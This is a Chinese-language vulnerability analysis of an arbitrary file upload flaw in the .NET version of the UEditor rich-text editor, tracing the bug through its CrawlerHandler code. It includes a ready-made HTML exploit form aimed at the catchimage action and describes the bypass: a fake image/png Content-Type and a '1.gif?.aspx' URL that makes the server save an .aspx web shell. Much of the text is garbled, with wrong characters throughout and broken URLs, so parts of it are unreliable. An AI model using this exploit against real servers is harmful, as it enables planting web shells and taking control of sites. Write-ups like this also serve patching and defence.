关于编辑器:UEditor编辑器任意文件上传漏洞分析

88次阅读

共计 892 个字符,预计需要花费 3 分钟才能阅读完成。

ue 下载地址
http://http://ueditor.baidu.com/website/download.html
exp

<form action="http://192.168.1.103/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">

  <p>shell addr:<input type="text" name="source[]" /></p >

  <inputtype="submit" value="Submit" />

</form>

咱们首先来看一下目录构造

ue 是一个典型的 net web

bin 目录和 app_code 目录其中 bin 上面援用的是 jsondll 因而这里咱们不剖析 dll

次要还是看 app_code 目录上面的 cs 文件 首先轻易跟进一个办法看看有没有任意文件上传的可能性

首先看到 uploadimages 办法

而这里正好是因为援用了下面的 dll 所以能够间接加载 json

这里第一步先实例化 UploadHandler 类 而后第二部从 json 获取各种配置信息 穿给类外面的值

传递实现值后间接开始上传办法

而后对上传文件进行判断

咱们跟进办法

那么破绽是怎么造成的呐?

破绽在 CrawlerHandler 这个类外面

如果拜访则直接判断返回文件的 ContentType 这里咱们能够间接 Content-Type: image/png 绕过

这里先传入 source[] 而后实列化 Crawler 类 咱们进入这个 class 查看 首先通过 IsExternalIPAddress 办法判断是否是一个可被 DNS 解析的域名地址

那么他文件名是怎么获取的呐?

这里能够很分明的看见也是 http://SYSTEM.IO 外面的个体 filename 获取最初一个点结尾的 然而咱们又不能以.aspx 结尾 这里问好就起作用了,再 url 外面 1.gif?.aspx 会被默认当成 1.gif 解析然而传递给咱们的文件 ext 却是.aspx 结尾的

所以破绽由此造成
参考
https://www.freebuf.com/vuls/181814.html

正文完
 0